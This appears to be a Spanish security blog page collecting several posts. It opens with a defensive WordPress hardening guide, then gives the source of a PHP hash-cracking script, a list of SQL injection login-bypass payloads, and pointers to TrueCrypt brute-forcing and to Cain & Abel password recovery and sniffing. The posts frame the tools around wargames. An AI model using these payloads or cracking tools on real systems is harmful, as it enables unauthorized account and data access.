Seguridad en WordPress

Base de datos

Antes de iniciar la instalación de WordPress debes crear un usuario único para él, puede sonar obvio para algunos y en realidad lo es: Nunca uses el usuario root de MySQL para conectarlo con tu sitio web. El nuevo usuario no debe necesariamente tener todos los privilegios (ALL PRIVILEGES), con los permisos Create, Delete, Drop, Update, Select, Alter y Execute debería ser suficiente para funcionar, verifica que así lo sea o agrega los que necesites.

crear_usuario_wordpress

Estableciendo permisos para el nuevo usuario en PHPMyAdmin

En el proceso de instalación cambia el prefijo de tabla “wp_” por el que tú quieras.

Directorios

Renombrar directorios

WordPress usa directorios con nombres específicos que pueden ser renombrados, incluso existen como plugins como Better WP SecurityHide My WP para cambiar toda la estructura por defecto y así “ocultar” cuál es el CMS que estamos usando, un poco exagerado pero puede ser útil dependiendo del caso. Para renombrar las carpetas manualmente deberemos agregar lo siguiente al archivo wp-config.php:

// Cambiando el directorio wp-content por "file"
define( 'WP_CONTENT_DIR', dirname(__FILE__) . '/files' );
// Se define la nueva URL con el directorio
define( 'WP_CONTENT_URL', 'http://miweb.trin/files' );
// Cambiando el directorio plugins por "scriptsquemlan"
define( 'WP_PLUGIN_DIR', dirname(__FILE__) . '/files/scriptsquemolan' );
// Definiendo URL de la carpeta plugins
define( 'WP_PLUGIN_URL', 'http://miweb.trin/files/scriptsquemolan' );
// Cambiando el directorio uploads
define( 'UPLOADS', '/files/misfoticos' );

Directorios sin index

Otro asunto importante son los directorios que no tienen index y se listan todos los archivos que contienen, para que no suceda esto en el archivo donde creaste el VirtualHost de Apache para tu sitio debes agregar:

Options -Indexes FollowSymLinks MultiViews

Si no entiendes lo que digo más arriba o tienes un hosting compartido simplemente agrégalo al archivo .htaccess de la raíz. Esto lo que hará es devolver un error 403 en las carpetas sin index, no olvides también agregar un ErrorDocument 403 /index.php para que WP se encargue de “estilizar” el error cuando se muestre, también podríamos mostrar un mensaje personalizado amenazando al visitante… pero somos gente adulta ¿verdad?

Permisos de directorios y archivos

Los archivos utilizados por WordPress deben tener los permisos 644 y los directorios 755, para este punto sólo es poner un poco de lógica de qué permisos poner a X o Y directorio. Básicamente la carpeta wp-content (uploads y plugins) debe tener permisos para poder ser escrita en ella. Por ejemplo si el archivo wp-settings.php no tiene los permisos correctos y además la visualización de errores de PHP está activa verás algo horrible como esto:

errores_wp-settings

Temas y pluginsmeta_version_wordpress

También si eres uno de esos tacaños de mierda que sólo usa themes nulled lo mejor es que sí o sí revises el código, puede que haya alguna sorpresa por ahí.

Cuando se activa un theme es recomendado hurgar un poco en su código en busca de vulnerabilidades o de malas prácticas, es posible que el desarrollador se haya equivocado a la hora de utilizar una función y nos esté provocando un full path disclosure… me sucedió en una ocasión.

Algunos desarrolladores aman estar poniendo versiones y nombres para que sean mostrados en el HTML del sitio, en tal caso de que existiera una vulnerabilidad para la versión especifica que tenemos del theme o plugin los script kiddies nos encontrarían rápido. Para evitar esto algunas personas borran cualquier rastro del theme, por ejemplo eliminando la información que se encuentra en style.css.

theme_info_styleDeberías también agregar lo siguiente al functions.php del tema para que elimine la etiqueta meta con la versión de WordPress y otras cosas más:

if (!is_admin()) {
remove_action( 'wp_head', 'feed_links_extra');
remove_action( 'wp_head', 'feed_links');
remove_action( 'wp_head', 'rsd_link');
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'parent_post_rel_link', 10);
remove_action( 'wp_head', 'start_post_rel_link', 10);
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10);
remove_action( 'wp_head', 'wp_generator');
}

Formulario de acceso y usuarios

evitar_brute_force_wordpress

En cuanto al formulario de acceso si quieres y crees conveniente cambia el directorio wp-admin. Instala el plugin Login LockDown para evitar un ataque por fuerza bruta. Instala WordPress HTTPS (SSL) si tu paranoia te lo dicta.

Usuarios

Por una parte si tienes un sitio con un sólo usuario (o más de uno pero tienen poca actividad los otros) se recomienda por SEO ocultar la página de autor, porque aparecería exactamente lo mismo que en el home, es innecesario. Hablando directamente de seguridad también nos provee un problema enlazar los autores, normalmente la página del autor se generá así: sitio.trin/author/usuario, estaríamos dando fácilmente el usuario y si no tenemos el formulario de acceso protegido… ya te imaginarás.

Sitios con Buddypress o similares

Si usas tu WordPress con registro de usuarios, con un foro y demás cosas que provee Buddypress por ejemplo, entonces deberías agregar lo siguiente a tu functions.php:

add_action('init','restringir_acceso');

function restringir_acceso(){
if (strpos(strtolower($_SERVER['REQUEST_URI']),'/wp-admin/') !== false) {
    if ( !is_super_admin() &&!ajax_request() ) {
      wp_redirect( get_option('siteurl'), 302 );
    }
  }

}
function ajax_request(){
  if (defined('DOING_AJAX') && DOING_AJAX) return true;
    if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
        return true;
    return false;
}

El código de arriba lo que hace es que cualquier usuario que no tenga los privilegios suficientes y que intente acceder al panel de administración sea redirigido al inicio del sitio, así nos evitamos fisgones. Por otra parte algunos plugins que hacen peticiones por medio de Ajax necesitan tener acceso, para ello se utiliza la función ajax_request().

Utilizar caché

Sí, es más una recomendación de optimización de lo que puede ser de seguridad. Pero podrás hacerle la vida un poco infeliz a alguien que te quiera tumbar el sitio con algún script que se descargó de Internet, además de eso si activas la minificación de HTML, CSS y Javascript te ahorrarás el trabajo de estar borrando los comentarios de plugins y themes ya que eso se hará automáticamente. Yo utilizo W3 Total Cache (puedes combinarlo con CludFlare por ejemplo), pero puedes encontrar otros más.

Recomendaciones obvias

Ya deberías saberlo, pero aquí van:

  • Realizar backups periodicamente
  • Mantén actualizado los plugins y el WordPress
  • Si es que usas un usuario llamado “admin” con ID 1, renómbralo
  • Elimina los archivos readme.html, license.txt…
  • Cambia el prefijo “wp_” en caso de que lo estés usando
  • Utiliza Akismet para evitar spam y captcha para formulario de contacto o similares
  • ¿Cuál se me escapa?

Artículo en actualización…

Realizar ataques de fuerza bruta a volumenes TrueCrypt

Antes que nada debo presentarles TrueCrypt para quienes no lo conozcan, es un Software que nos permite encriptar archivos haciendo uso de diferentes algoritmos de cifrado. Lo que más me gustó de este aplicativo es que nos permite crear volúmenes virtuales (como si se tratase de otro disco más en nuestro computador) que en realidad no es más que es un archivo con extensión .tc el cual después de poner la contraseña correcta se “monta” para poder ser usado y así es mucho más sencillo y rápido administrar los archivos del mismo.

En un reto que vi hace algún tiempo para un Wargame, había que realizar un ataque por diccionario a un volumen TrueCrypt y así fue que di con true.crypt.brute, que también puede ser útil en caso de olvidar la contraseña del .tc con archivos importantes. Eso si hay que tener en cuenta que se necesita un buen diccionario y que no es del todo efectivo el ataque, ya que como he visto en algunos casos de personas que usan 50 o más caracteres en su contraseña, haciendo imposible dar con ella usando un diccionario. Otro detalle es que el proceso es muy lento, hay que tener paciencia.

Descargar true.crypt.brute.

Cracking hash with PHP

PHPCracker: Crackear diferentes tipos de hash con PHP

Últimamente resolviendo algunos retos me ha tocado crackear diferentes hash y aunque existen muchos programas para esa labor (como Cain) estos no ofrecen soporte para realizar fuerza bruta a algunos tipos de hash. Por esta razón hice PHPCracker, un sencillo script que permite realizar ataques por fuerza bruta y ataques por diccionario usando PHP.

<?php

if (defined('STDIN')) {
        if (count($argv) < 2) {
            echo "#########################################################################\n" .
            "#           PHPCracker UrbaN77 www.RedInfoCol.org  - www.BrianUR.info   #\n" .
            "#########################################################################\n" .
            "# Uso: php phpcracker.php [Modo] [Nombre del hash] [Hash] [Opciones]    #\n" .
            "# --------------------------------------------------------------------- #\n" .
            "# Modo: usa -b hacer un brute force o -d para un ataque por diccionario.#\n" .
            "# Nombre del hash: Por ejemplo md5, sha1 o cual sea el nombre.          #\n" .
            "# Hash: Hash a crackear.                                                #\n" .
            "# Opciones: Estas dependen del modo elegido.                            #\n" .
            "#  - Charset: min para minusculas, may para mayusculas   o all para las #\n" .
            "#             anteriores con numeros y simbolos (Solo para el modo -b). #\n" .
            "#  - Diccionario: nombre del fichero de tu wordlist (Solo para modo -d).#\n" .
            "#########################################################################";
            exit;
        }
        $modo = $argv[1];
        $tipoHash = $argv[2];
        $hash = $argv[3];

        function crackear($hash, $tipoHash, $charset) {
            if ($charset == "min") {
                $desde = 97;
                $hasta = 122;
            } elseif ($charset == "may") {
                $desde = 65;
                $hasta = 90;
            } elseif ($charset == "all") {
                $desde = 33;
                $hasta = 126;
            } else {
                echo "Necesitas especificar el Charset: min, may o all.";
                exit;
            }
			echo "Crackeando...\n";
            for ($i = $desde; $i <= $hasta; $i++) {
                for ($j = $desde; $j <= $hasta; $j++) {
                    for ($k = $desde; $k <= $hasta; $k++) {
                        for ($l = $desde; $l <= $hasta; $l++) {
                            $salida = hash($tipoHash, chr($i) . chr($j) . chr($k) . chr($l));
                            if ($hash == $salida) {
                                echo "Password encontrado: " . chr($i) . chr($j) . chr($k) . chr($l)."\n";
                                exit;
                            }
                        }
                    }
                }
            }
        }

        if ($modo == "-d") {
            $wordlist = $argv[4];
            if (file_exists($wordlist)) {
                $diccionario = file($wordlist);
				echo "Crackeando...\n";
                foreach ($diccionario as $rel) {
                    $salida = hash($tipoHash, $rel);
                    if ($salida == $hash) {
                        echo "El password es: " . $rel;
                        exit;
                    }
                }
            } else {
                echo "El archivo " . $wordlist . " no existe.";
                exit;
            }
        } elseif ($modo == "-b") {
            $charset = $argv[4];
            crackear($hash, $tipoHash, $charset);
        }
        echo "Password no encontrado :/ intenta probando con otro tipo de hash, otro charset o diccionario.";
} else {
    echo("Necesitas correr este script desde la consola.");
}
?>

Continuar leyendo…

Herramienta para analisar imaganes

StegSecret: Herramienta para estegoanálisis

Herramienta para analisar imaganesStegSecret es una interesante herramienta para estegoanálisis de imágenes en busca de información oculta, comprobando diferentes tipos de técnicas comunes y patrones usados por programas como camouflage, inThePicture, inPlainView, steghide, dataStealth y entre otros más. Muy útil para wargames cuando necesitas saber rapidamente el tipo de tecnica de un reto de esteganografía antes de ponerte a comprobar manualmente.

Programas y técnicas detectadas

  • camouflage V1.2.1, inThePicture v2, JPEGXv2.1.1, PGE (Pretty Good Envelope) v1.0, appendX v<=4, steganography v1.6.5, inPlainView, DataStash v1.5 y dataStealth v1.0.
  • Programas basados en  técnicas EOF (End Of File).
  • Suporta los formatos BMP, GIF y JPEG.
  • Cuenta con una Base de Datos de Aplicaciones Esteganográficas “bdas v0.1” con más de 40 tipos de técnicas esteganográficas.

En resumen una herramienta que no puede faltar en el repertorio.

Sitio web y descarga de StegSecret.

SQL Injection cheat sheet

Los siguientes “trucos” para SQL Injection son una colección de una web llamada 0x000000.com que lamentablemente en la actualidad no esta disponible, los tenía guardados por ahí hace tiempo y quiero compartirlos con ustedes:

A collection of known and working SQL vectors. These vectors are designed and tested by me on my localhost. I kept the list clean and concise tested for all MySQL versions to date unless stated otherwise. This sheet is under constant development, please come back often. Note that most of these vectors can be used on SQL server or Oracle but mainly it is written and tested for MySQL only. What I give you here is basicly everything you ever need to know about MySQL injection. You have to construct the pieces yourself and probably need to know what they do in order to use them.

Basics

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Use inside login form:

1' OR 1=1--
1' OR '1' = '1
'
''
'or"='
') or ('a'='a
") or ("a"="a
hi" or "a"="a
or a=a--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a

Continuar leyendo…

Cain & Abel: Una herramienta todo en uno

Cain & Abel es una de mis herramientas preferidas en entornos Windows, ya que dentro de una misma aplicación podemos hacer montones de cosas como recuperar contraseñas del sistema donde este instalado, entre ellas contraseñas Wi-Fi, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos hash, en el que permite usar técnicas como fuerza bruta, ataque por diccionario y ataque por criptoánalisis. Otra de sus características más valoradas es que permite sniffear redes, permitiendo obtener contraseñas en una red, grabar conversaciones VoIP, entre otras. Ademas cuenta con decodificador de Base64, VNC, Cisco VPN Client y otras pequeñas utilidades.

Descargar Cain & Abel también puedes descarga una versión portable.

El manual oficial lo puedes encontrar aquí o este otro en español.